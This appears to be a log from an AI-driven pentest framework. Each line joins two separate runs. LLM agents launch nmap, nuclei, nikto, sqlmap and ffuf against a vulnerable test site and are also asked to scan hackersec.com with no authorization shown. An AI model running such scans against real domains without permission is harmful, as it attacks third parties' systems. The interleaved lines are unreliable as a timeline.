2025-12-19 11:44:45,527 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_114445 2026-01-09 15:19:08,254 - agents.base_agent - INFO - Executing: /usr/bin/nmap -sV -sC -p 1-1000 --open testphp.vulnweb.com
2025-12-19 11:45:10,765 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_114510 2026-01-09 15:19:08,256 - agents.base_agent - ERROR - Error executing nmap: [Errno 2] No such file or directory: '/usr/bin/nmap'
2025-12-19 11:45:21,124 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_114521 2026-01-09 15:19:08,256 - agents.base_agent - INFO - Executing: /usr/bin/curl -s -I -k http://testphp.vulnweb.com/listproducts.php
2025-12-19 11:46:17,722 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_114617 2026-01-09 15:19:08,707 - agents.base_agent - INFO - Executing: /usr/local/bin/nuclei -u http://testphp.vulnweb.com/listproducts.php -silent -nc
2025-12-19 11:47:37,765 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 15:22:18,265 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_152218
2025-12-19 11:47:37,766 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 15:22:18,265 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 11:47:37,770 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 15:22:18,265 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 11:47:37,770 - core.llm_manager - INFO - Initialized LLM Manager - Provider: gemini, Model: gemini-pro, Profile: gemini_pro_default 2026-01-09 15:22:18,268 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 11:47:37,770 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 15:22:18,268 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: lazarevtill/Llama-3-WhiteRabbitNeo-8B-v2.0:q4_0, Profile: ollama_whiterabbit
2025-12-19 11:47:37,770 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan http://testphp.vulnweb.com/... 2026-01-09 15:22:18,268 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent. Description: Focuses on web application vulnerabilities, leveraging recon and exploitation tools.
2025-12-19 11:47:47,262 - core.llm_manager - ERROR - Error generating raw response: 2026-01-09 15:22:18,268 - agents.base_agent - INFO - Executing bug_bounty_hunter agent for input: Test http://testphp.vulnweb.com/...
No API_KEY or ADC found. Please either: 2026-01-09 15:22:18,268 - agents.base_agent - INFO - Executing: /usr/bin/nmap -sV -sC -p 1-1000 --open testphp.vulnweb.com
- Set the `GOOGLE_API_KEY` environment variable. 2026-01-09 15:22:18,269 - agents.base_agent - ERROR - Error executing nmap: [Errno 2] No such file or directory: '/usr/bin/nmap'
- Manually pass the key with `genai.configure(api_key=my_api_key)`. 2026-01-09 15:22:18,270 - agents.base_agent - INFO - Executing: /usr/bin/curl -s -I -k http://testphp.vulnweb.com/
- Or set up Application Default Credentials, see https://ai.google.dev/gemini-api/docs/oauth for more information. 2026-01-09 15:22:18,706 - agents.base_agent - INFO - Executing: /usr/local/bin/nuclei -u http://testphp.vulnweb.com/ -silent -nc
2025-12-19 11:47:47,263 - __main__ - INFO - Results saved to results/campaign_20251219_114617.json 2026-01-09 15:22:30,920 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_152230
2025-12-19 11:47:47,263 - __main__ - INFO - Report generated: reports/report_20251219_114617.html 2026-01-09 15:23:10,333 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_152310
2025-12-19 11:49:23,054 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_114923 2026-01-09 15:23:10,333 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 11:49:23,054 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 15:23:10,333 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 11:49:23,054 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 15:23:10,334 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 11:49:23,055 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 15:23:10,334 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-3-opus-20240229, Profile: claude_opus_default
2025-12-19 11:49:23,055 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 15:23:10,334 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent. Description: Focuses on web application vulnerabilities, leveraging recon and exploitation tools.
2025-12-19 11:49:23,055 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 15:23:10,334 - agents.base_agent - INFO - Executing bug_bounty_hunter agent for input: Test http://testphp.vulnweb.com/...
2025-12-19 11:49:23,055 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan example.com... 2026-01-09 15:23:10,334 - agents.base_agent - INFO - Executing: /usr/bin/nmap -sV -sC -p 1-1000 --open testphp.vulnweb.com
2025-12-19 11:49:48,488 - __main__ - INFO - Results saved to results/campaign_20251219_114923.json 2026-01-09 15:23:10,336 - agents.base_agent - ERROR - Error executing nmap: [Errno 2] No such file or directory: '/usr/bin/nmap'
2025-12-19 11:49:48,489 - __main__ - INFO - Report generated: reports/report_20251219_114923.html 2026-01-09 15:23:10,336 - agents.base_agent - INFO - Executing: /usr/bin/curl -s -I -k http://testphp.vulnweb.com/
2025-12-19 11:50:08,882 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_115008 2026-01-09 15:23:10,775 - agents.base_agent - INFO - Executing: /usr/local/bin/nuclei -u http://testphp.vulnweb.com/ -silent -nc
2025-12-19 11:50:08,882 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 15:27:15,373 - agents.base_agent - INFO - Executing: /usr/bin/nikto -h http://testphp.vulnweb.com/ -nointeractive
2025-12-19 11:50:08,882 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 15:27:15,374 - agents.base_agent - ERROR - Error executing nikto: [Errno 2] No such file or directory: '/usr/bin/nikto'
2025-12-19 11:50:08,884 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 15:27:15,374 - agents.base_agent - INFO - Executing: /usr/local/bin/sqlmap -u http://testphp.vulnweb.com/ --batch --level=2 --risk=2 --random-agent --threads=3
2025-12-19 11:50:08,884 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 15:27:16,525 - agents.base_agent - INFO - Executing: /usr/bin/ffuf -u http://testphp.vulnweb.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 50
2025-12-19 11:50:08,884 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 15:27:16,526 - agents.base_agent - ERROR - Error executing ffuf: [Errno 2] No such file or directory: '/usr/bin/ffuf'
2025-12-19 11:50:08,884 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan hackersec.com... 2026-01-09 15:27:17,047 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.466394 seconds
2025-12-19 11:50:29,383 - __main__ - INFO - Results saved to results/campaign_20251219_115008.json 2026-01-09 15:27:17,730 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.990376 seconds
2025-12-19 11:50:29,384 - __main__ - INFO - Report generated: reports/report_20251219_115008.html 2026-01-09 15:27:18,981 - core.llm_manager - ERROR - Error generating raw response: Connection error.
2025-12-19 11:56:34,904 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_115634 2026-01-09 15:27:18,983 - __main__ - INFO - Results saved to results/campaign_20260109_152310.json
2025-12-19 11:56:34,904 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 15:27:18,985 - __main__ - INFO - Report generated: reports/report_20260109_152310.html
2025-12-19 11:56:34,904 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 15:36:50,249 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_153650
2025-12-19 11:56:34,906 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 15:36:50,249 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 11:56:34,906 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 15:36:50,249 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 11:56:34,906 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 15:36:50,252 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 11:56:34,906 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan hackersec.com... 2026-01-09 15:36:50,252 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-3-opus-20240229, Profile: claude_opus_default
2025-12-19 11:56:54,137 - __main__ - INFO - Results saved to results/campaign_20251219_115634.json 2026-01-09 15:36:50,252 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent
2025-12-19 11:56:54,138 - __main__ - INFO - Report generated: reports/report_20251219_115634.html 2026-01-09 15:39:31,557 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.416288 seconds
2025-12-19 11:57:13,435 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_115713 2026-01-09 15:39:32,185 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.975090 seconds
2025-12-19 11:57:13,435 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 15:39:33,424 - core.llm_manager - ERROR - Error generating raw response: Connection error.
2025-12-19 11:57:13,436 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 15:39:33,661 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.494540 seconds
2025-12-19 11:57:13,438 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 15:39:34,487 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.912874 seconds
2025-12-19 11:57:13,438 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 15:39:35,719 - core.llm_manager - ERROR - Error generating raw response: Connection error.
2025-12-19 11:57:13,438 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 15:39:35,721 - __main__ - INFO - Results saved to results/campaign_20260109_153650.json
2025-12-19 11:57:13,438 - agents.base_agent - INFO - Executing owasp_expert agent for input: identifique vulnerabilidades no dominio hackersec.... 2026-01-09 21:21:25,368 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_212125
2025-12-19 11:57:36,170 - __main__ - INFO - Results saved to results/campaign_20251219_115713.json 2026-01-09 21:21:25,368 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 11:57:36,170 - __main__ - INFO - Report generated: reports/report_20251219_115713.html 2026-01-09 21:21:25,368 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 11:57:56,516 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_115756 2026-01-09 21:21:25,371 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 11:58:01,802 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_115801 2026-01-09 21:21:25,371 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-3-opus-20240229, Profile: claude_opus_default
2025-12-19 11:58:11,144 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_115811 2026-01-09 21:21:25,371 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent
2025-12-19 11:58:22,784 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_115822 2026-01-09 21:24:15,783 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.470846 seconds
2025-12-19 11:58:51,778 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_115851 2026-01-09 21:24:16,476 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.883909 seconds
2025-12-19 12:02:00,697 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_120200 2026-01-09 21:24:17,587 - core.llm_manager - ERROR - Error generating raw response: Connection error.
2025-12-19 12:02:00,697 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:24:17,806 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.430765 seconds
2025-12-19 12:02:00,697 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:24:18,929 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.832160 seconds
2025-12-19 12:02:00,699 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:24:19,994 - core.llm_manager - ERROR - Error generating raw response: Connection error.
2025-12-19 12:02:00,699 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:24:19,994 - __main__ - INFO - Results saved to results/campaign_20260109_212125.json
2025-12-19 12:02:00,700 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:24:19,997 - __main__ - INFO - Report generated: reports/report_20260109_212125.html
2025-12-19 12:02:00,700 - agents.base_agent - INFO - Executing owasp_expert agent for input: identifique vulnerabilidades no dominio hackersec.... 2026-01-09 21:30:56,421 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_213056
2025-12-19 12:02:24,246 - __main__ - INFO - Results saved to results/campaign_20251219_120200.json 2026-01-09 21:30:56,421 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 12:02:24,247 - __main__ - INFO - Report generated: reports/report_20251219_120200.html 2026-01-09 21:30:56,422 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 12:02:39,920 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_120239 2026-01-09 21:30:56,424 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 12:02:39,920 - __main__ - INFO - Starting execution for agent role: owasp_expert_profile 2026-01-09 21:30:56,424 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-3-opus-20240229, Profile: claude_opus_default
2025-12-19 12:02:39,920 - __main__ - ERROR - Agent role 'owasp_expert_profile' not found in configuration. 2026-01-09 21:30:56,424 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent
2025-12-19 12:03:53,173 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_120353 2026-01-09 21:32:14,060 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.441367 seconds
2025-12-19 12:03:53,173 - __main__ - INFO - Starting execution for agent role: owasp_expert_profile 2026-01-09 21:32:14,709 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.982832 seconds
2025-12-19 12:03:53,173 - __main__ - ERROR - Agent role 'owasp_expert_profile' not found in configuration. 2026-01-09 21:32:16,630 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.582831 seconds
2025-12-19 12:03:57,672 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_120357 2026-01-09 21:32:18,418 - core.llm_manager - WARNING - Claude API connection error (attempt 1/3): Connection error.
2025-12-19 12:03:57,672 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:32:18,418 - core.llm_manager - INFO - Retrying in 1.0s...
2025-12-19 12:03:57,673 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:32:19,634 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.451210 seconds
2025-12-19 12:03:57,676 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:32:20,310 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.839755 seconds
2025-12-19 12:03:57,676 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:32:21,363 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.604430 seconds
2025-12-19 12:03:57,676 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:32:23,171 - core.llm_manager - WARNING - Claude API connection error (attempt 2/3): Connection error.
2025-12-19 12:03:57,676 - agents.base_agent - INFO - Executing owasp_expert agent for input: identifique vulnerabilidades no dominio hackersec.... 2026-01-09 21:32:23,171 - core.llm_manager - INFO - Retrying in 2.0s...
2025-12-19 12:04:20,276 - __main__ - INFO - Results saved to results/campaign_20251219_120357.json 2026-01-09 21:32:25,375 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.467985 seconds
2025-12-19 12:04:20,277 - __main__ - INFO - Report generated: reports/report_20251219_120357.html 2026-01-09 21:32:26,054 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.900564 seconds
2025-12-19 12:09:45,332 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_120945 2026-01-09 21:32:27,165 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.518861 seconds
2025-12-19 12:10:28,397 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_121028 2026-01-09 21:32:28,901 - core.llm_manager - WARNING - Claude API connection error (attempt 3/3): Connection error.
2025-12-19 12:13:17,354 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_121317 2026-01-09 21:32:28,902 - core.llm_manager - ERROR - Error generating raw response: Failed to connect to Claude API after 3 attempts: Connection error.
2025-12-19 12:13:32,185 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_121332 2026-01-09 21:32:29,118 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.421690 seconds
2025-12-19 12:14:31,136 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_121431 2026-01-09 21:32:29,758 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.833663 seconds
2025-12-19 12:14:31,136 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:32:30,821 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.554424 seconds
2025-12-19 12:14:31,137 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:32:32,730 - core.llm_manager - WARNING - Claude API connection error (attempt 1/3): Connection error.
2025-12-19 12:14:31,139 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:32:32,730 - core.llm_manager - INFO - Retrying in 1.0s...
2025-12-19 12:14:31,139 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:32:33,987 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.393485 seconds
2025-12-19 12:14:31,139 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:32:34,599 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.968475 seconds
2025-12-19 12:14:31,139 - agents.base_agent - INFO - Executing owasp_expert agent for input: identifique vulnerabilidades no dominio hackersec.... 2026-01-09 21:32:35,833 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.528886 seconds
2025-12-19 12:14:58,217 - __main__ - INFO - Results saved to results/campaign_20251219_121431.json 2026-01-09 21:32:37,592 - core.llm_manager - WARNING - Claude API connection error (attempt 2/3): Connection error.
2025-12-19 12:14:58,218 - __main__ - INFO - Report generated: reports/report_20251219_121431.html 2026-01-09 21:32:37,592 - core.llm_manager - INFO - Retrying in 2.0s...
2025-12-19 12:15:43,666 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_121543 2026-01-09 21:32:39,823 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.496181 seconds
2025-12-19 12:15:43,667 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:32:40,528 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.836243 seconds
2025-12-19 12:15:43,667 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:32:41,589 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.746444 seconds
2025-12-19 12:15:43,669 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:32:43,570 - core.llm_manager - WARNING - Claude API connection error (attempt 3/3): Connection error.
2025-12-19 12:15:43,670 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:32:43,570 - core.llm_manager - ERROR - Error generating raw response: Failed to connect to Claude API after 3 attempts: Connection error.
2025-12-19 12:15:43,670 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:32:43,571 - __main__ - INFO - Results saved to results/campaign_20260109_213056.json
2025-12-19 12:15:43,670 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan target hackersec.com... 2026-01-09 21:32:43,574 - __main__ - INFO - Report generated: reports/report_20260109_213056.html
2025-12-19 12:16:11,774 - __main__ - INFO - Results saved to results/campaign_20251219_121543.json 2026-01-09 21:40:59,505 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_214059
2025-12-19 12:16:11,775 - __main__ - INFO - Report generated: reports/report_20251219_121543.html 2026-01-09 21:40:59,505 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 12:19:12,710 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_121912 2026-01-09 21:40:59,506 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 12:19:12,710 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:40:59,508 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 12:19:12,711 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:40:59,508 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-sonnet-4-20250514, Profile: claude_opus_default
2025-12-19 12:19:12,713 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:40:59,508 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent
2025-12-19 12:19:12,713 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:43:45,178 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.473436 seconds
2025-12-19 12:19:12,713 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:43:52,346 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.775400 seconds
2025-12-19 12:19:12,713 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan target hackersec.com... 2026-01-09 21:43:59,704 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.551157 seconds
2025-12-19 12:19:55,720 - __main__ - INFO - Results saved to results/campaign_20251219_121912.json 2026-01-09 21:44:10,147 - core.llm_manager - WARNING - Claude API connection error (attempt 1/3): Connection error.
2025-12-19 12:19:55,721 - __main__ - INFO - Report generated: reports/report_20251219_121912.html 2026-01-09 21:44:10,147 - core.llm_manager - INFO - Retrying in 1.0s...
2025-12-19 12:31:03,782 - __main__ - INFO - Created default configuration at config/config.json 2026-01-09 21:44:17,431 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.377721 seconds
2025-12-19 12:31:03,782 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_123103 2026-01-09 21:44:26,639 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.832601 seconds
2025-12-19 12:31:03,783 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:44:36,229 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.559698 seconds
2025-12-19 12:31:03,783 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:44:45,594 - core.llm_manager - WARNING - Claude API connection error (attempt 2/3): Connection error.
2025-12-19 12:31:03,785 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:44:45,595 - core.llm_manager - INFO - Retrying in 2.0s...
2025-12-19 12:31:03,785 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:45:40,601 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_214540
2025-12-19 12:31:03,785 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:45:40,601 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 12:31:03,785 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan target hackersec.com... 2026-01-09 21:45:40,601 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 12:31:23,207 - __main__ - INFO - Results saved to results/campaign_20251219_123103.json 2026-01-09 21:45:40,605 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 12:31:23,208 - __main__ - INFO - Report generated: reports/report_20251219_123103.html 2026-01-09 21:45:40,605 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-sonnet-4-20250514, Profile: claude_opus_default
2025-12-19 12:33:07,023 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_123307 2026-01-09 21:45:40,605 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent
2025-12-19 12:33:07,023 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:48:23,437 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.466073 seconds
2025-12-19 12:33:07,024 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:48:30,784 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.901871 seconds
2025-12-19 12:33:07,026 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:48:39,254 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.891843 seconds
2025-12-19 12:33:07,026 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:48:47,470 - core.llm_manager - WARNING - Claude API connection error (attempt 1/3): Connection error.
2025-12-19 12:33:07,026 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:48:47,470 - core.llm_manager - INFO - Retrying in 1.0s...
2025-12-19 12:33:07,026 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan target http://testphp.vulnweb.com and identif... 2026-01-09 21:48:55,693 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.495814 seconds
2025-12-19 12:33:25,214 - __main__ - INFO - Results saved to results/campaign_20251219_123307.json 2026-01-09 21:49:03,131 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.917409 seconds
2025-12-19 12:33:25,215 - __main__ - INFO - Report generated: reports/report_20251219_123307.html 2026-01-09 21:49:09,718 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.668270 seconds
2025-12-19 12:36:29,020 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_123629 2026-01-09 21:49:17,975 - core.llm_manager - WARNING - Claude API connection error (attempt 2/3): Connection error.
2025-12-19 12:36:29,020 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:49:17,975 - core.llm_manager - INFO - Retrying in 2.0s...
2025-12-19 12:36:29,021 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:49:27,741 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.461509 seconds
2025-12-19 12:36:29,023 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:49:37,420 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.764362 seconds
2025-12-19 12:36:29,023 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:49:46,856 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.681579 seconds
2025-12-19 12:36:29,023 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:49:55,732 - core.llm_manager - WARNING - Claude API connection error (attempt 3/3): Connection error.
2025-12-19 12:36:29,023 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan target hackersec.com... 2026-01-09 21:49:55,732 - core.llm_manager - ERROR - Error generating raw response: Failed to connect to Claude API after 3 attempts: Connection error.
2025-12-19 12:36:45,283 - __main__ - INFO - Results saved to results/campaign_20251219_123629.json 2026-01-09 21:50:12,483 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.391463 seconds
2025-12-19 12:37:01,705 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_123701 2026-01-09 21:50:26,485 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.852497 seconds
2025-12-19 12:37:01,705 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:50:44,334 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.998506 seconds
